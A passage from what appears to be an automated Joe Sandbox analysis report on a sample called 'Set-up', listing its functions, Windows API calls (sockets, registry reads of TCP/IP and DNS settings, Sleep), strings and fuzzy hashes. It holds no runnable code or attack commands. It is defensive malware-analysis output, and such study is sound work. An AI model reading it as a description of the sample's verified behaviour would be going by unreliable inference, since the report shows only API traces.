memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344
GetStartupInfoA.KERNEL32 ref: 00111433

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdln_set_invalid_parameter_handlermemcpystrlen
String ID:
API String ID: 3873122205-0
Opcode ID: 865d4c6faaa7032333a3aa774f05668fb454bacba1dfd548038345e06fa2814c
Instruction ID: cf85b504e050a13b4ac5abb9beafe130770f087e725294097fac90361bce2fee
Opcode Fuzzy Hash: 865d4c6faaa7032333a3aa774f05668fb454bacba1dfd548038345e06fa2814c
Instruction Fuzzy Hash: DD81AC71A04304DFDB18DFA9E9813AEFBE0FB95304F11493DDA859B251E775A884CB82

Function 00498E90 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 00498EAD
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00498EFA
_write.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00498F4A
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00498F59

Strings

terminated, xrefs: 00498F20
CONOUT$, xrefs: 00498EA6
@, xrefs: 0063B5D1

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 724e1bda4e12c7339c22535c37228dd41d09525da927d1749e7ae0ae0055068b
Instruction ID: 7f268042a5c33c96cc2992ac1159d1bcd15090cb02d29eee8312b32671ddb856
Opcode Fuzzy Hash: 724e1bda4e12c7339c22535c37228dd41d09525da927d1749e7ae0ae0055068b
Instruction Fuzzy Hash: 38412AB09042058FCB00DF79D94566EBBE5FB99314F008A2EE998D7391E738D845CB56

Function 00631870 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

error CryptGenRandom 0x%08lx, xrefs: 006319E9

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: error CryptGenRandom 0x%08lx
API String ID: 0-1222942552
Opcode ID: 3776a68ac30b68eb85caf028b603b613e8f079d5a89ddcb1f3f886cf6a900507
Instruction ID: 749c8c319ad250074aa702bc5f4fc7fcd489f4aa631279358c548249ad0e7edd
Opcode Fuzzy Hash: 3776a68ac30b68eb85caf028b603b613e8f079d5a89ddcb1f3f886cf6a900507
Instruction Fuzzy Hash: E141C1B59093009FC700EF79D58961EBFE0BB99314F409E2EE98887354E7789548CF86

Function 001205B0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 369
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAEventSelect.WS2_32(?,8508C483,?), ref: 00120711
getsockopt.WS2_32(?,0000FFFF,00001008,?,00000004), ref: 00120783
WSAWaitForMultipleEvents.WS2_32(00000001,00113EBE,00000000,00000000,00000000), ref: 0012086F
WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 001208EF
WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 00120934
WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 001209DC
WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 001209FB
WSAResetEvent.WS2_32(8508C483), ref: 00120A1F

Strings

multi.c, xrefs: 001207B2

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: Event$EventsSelect$EnumNetwork$MultipleResetWaitgetsockopt
String ID: multi.c
API String ID: 3264668090-214371023
Opcode ID: c4a27ee146f77e481594471f1661de2f31f933f1ef6660a4014e861f92e3bed5
Instruction ID: 73e49d3e08d940a2209ab929147ac6ce80da55b796efec15e312668ea040a2e5
Opcode Fuzzy Hash: c4a27ee146f77e481594471f1661de2f31f933f1ef6660a4014e861f92e3bed5
Instruction Fuzzy Hash: 58D1C2756083019FEB12CF64E881BAB77E5FF98348F044A2CF98587252E774E964CB52

Function 00126FA0 Relevance: 13.8, APIs: 9, Instructions: 255sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00127010

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e0f12921f182211ca395403b1fca3bfd7fed9e53789522e958dedd563b35ac9a
Instruction ID: 836c854fd14a4e6b655b9b6181d341bdf9ac653adb0a3df6c976f6ab5b274fa1
Opcode Fuzzy Hash: e0f12921f182211ca395403b1fca3bfd7fed9e53789522e958dedd563b35ac9a
Instruction Fuzzy Hash: 5991253060C3298BD7358B69E8947BBB2E5FFC5324F148B2CE899831D4EB749C60D681

Function 001111A3 Relevance: 12.1, APIs: 8, Instructions: 115sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 001111B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00111238
_set_invalid_parameter_handler.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011124D
__p__acmdln.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00111261
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011140C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_initterm_set_invalid_parameter_handlermemcpystrlen
String ID:
API String ID: 1209083157-0
Opcode ID: fbd6c2fc7c26e32e642bbea6a85009227066b130a7e708fb5c375db96abe4a0d
Instruction ID: 12da2456aae143a9d46641d45126afdf607daf26385d433b9ab0ccc3f61ab541
Opcode Fuzzy Hash: fbd6c2fc7c26e32e642bbea6a85009227066b130a7e708fb5c375db96abe4a0d
Instruction Fuzzy Hash: F2416BB0A04741DFDB18EFA9E99439DBBF0BB99344F10493DE944A7350DB749884CB92

Function 001113C9 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00111238
_set_invalid_parameter_handler.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011124D
__p__acmdln.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00111261
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344

Part of subcall function 00498A20: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,001113EF), ref: 00498A2A

_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011140C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__acrt_iob_func__p__acmdln_initterm_set_invalid_parameter_handlermemcpystrlen
String ID:
API String ID: 2715571461-0
Opcode ID: d2f0c65ffccac2e7b750ffa9f097b61429d2cb28b043970ec7c32e888e1ac835
Instruction ID: a58a3fd9a06267df398758df35d859248dd533b7c050d80e4f164c9bc79f69da
Opcode Fuzzy Hash: d2f0c65ffccac2e7b750ffa9f097b61429d2cb28b043970ec7c32e888e1ac835
Instruction Fuzzy Hash: 8F4138B0904705DFDB18EFA9D99139DBBF0BB95304F10493EEA84A7351DB749884CB42

Function 00111160 Relevance: 10.6, APIs: 7, Instructions: 131sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 001111B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00111238
_set_invalid_parameter_handler.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011124D
__p__acmdln.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00111261
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344
GetStartupInfoA.KERNEL32 ref: 00111433

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdln_set_invalid_parameter_handlermemcpystrlen
String ID:
API String ID: 3873122205-0
Opcode ID: 7a4b9b5e04021e9b9678ac9fa90e740cd7538000f1f1fb20b3051b5596eb9fae
Instruction ID: 0ec53d7942ee44b8d2d97434bd5a2cb3fe622b5b211ecb8c8fe6729929e097fb
Opcode Fuzzy Hash: 7a4b9b5e04021e9b9678ac9fa90e740cd7538000f1f1fb20b3051b5596eb9fae
Instruction Fuzzy Hash: 4A516A71A04744DFDB18DFA9D99079ABBF0FB99304F10493DEA44AB361D734A880CB82

Function 001DA870 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(000000FF,001C6F4E,000000FF,00000000), ref: 001DA8AF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: f69e1454384c90c5c029fc5825064191f0af40c3c4743f0fe6da407a71d01b31
Instruction ID: 10de9f3cbf1400d8d0e708565dfda7b4ecd833c38b8d4eb3a74803c1296f331c
Opcode Fuzzy Hash: f69e1454384c90c5c029fc5825064191f0af40c3c4743f0fe6da407a71d01b31
Instruction Fuzzy Hash: AFF01C72B047206BD624CA18EC05F9BF369EBC4B21F148909B954673488370BC118BE2

Function 001CA440 Relevance: 97.3, APIs: 43, Strings: 12, Instructions: 1038registrystringCOMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 001CA499
GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 001CA4FB
GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 001CA531
RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 001CAA19
RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 001CAA4C
RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 001CAA97
RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 001CAAE9
RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 001CAB30
RegCloseKey.KERNELBASE(?), ref: 001CAB6A
RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 001CAB82
RegQueryValueExA.ADVAPI32(?,SearchList,00000000,00000000,00000000,00000000), ref: 001CABAD
RegQueryValueExA.ADVAPI32(?,SearchList,00000000,00000000,00000000,00000000), ref: 001CABF0
RegCloseKey.ADVAPI32(?), ref: 001CAC2A
RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 001CAC46
RegQueryValueExA.ADVAPI32(?,PrimaryDNSSuffix,00000000,00000000,00000000,00000000), ref: 001CAC71
RegQueryValueExA.ADVAPI32(?,PrimaryDNSSuffix,00000000,00000000,00000000,00000000), ref: 001CACB4
RegCloseKey.ADVAPI32(?), ref: 001CACEE
RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 001CAD0A
RegEnumKeyExA.KERNELBASE ref: 001CAD8D
strncat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?), ref: 001CADB0
RegCloseKey.KERNELBASE(?), ref: 001CADD9
RegEnumKeyExA.KERNELBASE ref: 001CAE08
RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 001CAE2A
RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 001CAE54
RegQueryValueExA.ADVAPI32(?,SearchList,00000000,00000000,00000000,?), ref: 001CAEA3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 001CAF18
strncat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?), ref: 001CAF2C
RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 001CAF63
RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 001CAFB2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 001CB027
strncat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?), ref: 001CB03B
RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 001CB072
RegQueryValueExA.ADVAPI32(?,DhcpDomain,00000000,00000000,00000000,?), ref: 001CB0C1

Strings

System\CurrentControlSet\Services\Tcpip\Parameters, xrefs: 001CAA0F
[%s]:%u, xrefs: 001CA845
DhcpDomain, xrefs: 001CB06C, 001CB0BB
xc, xrefs: 001CA45F, 001CA47D, 001CAA73, 001CAB10, 001CABD4, 001CAC98, 001CAE7F, 001CAF8E, 001CB09D
Domain, xrefs: 001CAAE3, 001CAB2A, 001CAF5D, 001CAFAC
Software\Policies\Microsoft\Windows NT\DNSClient, xrefs: 001CAB78
PrimaryDNSSuffix, xrefs: 001CAC6B, 001CACAE
System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces, xrefs: 001CAD00
SearchList, xrefs: 001CAA46, 001CAA91, 001CABA7, 001CABEA, 001CAE4E, 001CAE9D
Software\Policies\Microsoft\System\DNSClient, xrefs: 001CAC3C
|c, xrefs: 001CA4BA, 001CA50F, 001CA5FA, 001CA65A, 001CA95D, 001CAEF1, 001CB000, 001CB113
[%s]:%u%%%u, xrefs: 001CA77D

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: QueryValue$Open$Close$AdaptersAddressesstrncat$Enumstrlen
String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces$[%s]:%u$[%s]:%u%%%u$xc$|c
API String ID: 1856363200-2353712586
Opcode ID: 0521b5f127a404f870911884453399642ca1a464d4bf958dca326cca2b1ec62b
Instruction ID: 92dd3500b53814545fda7b1bf8569e967683622ebead8246dc2d3ca3427b98ee
Opcode Fuzzy Hash: 0521b5f127a404f870911884453399642ca1a464d4bf958dca326cca2b1ec62b
Instruction Fuzzy Hash: C782ADB1608305AFE3218B24DC86F6B7BE8EF95704F54482CF985D72A1E774E944CB92

Function 001D9740 Relevance: 32.2, APIs: 12, Strings: 6, Instructions: 736
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(CARES_HOSTS), ref: 001D978D
_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 001D97BA
_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 001D97E4
_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 001D98A5
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000104), ref: 001D9920
RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 001D9946
RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 001D9974
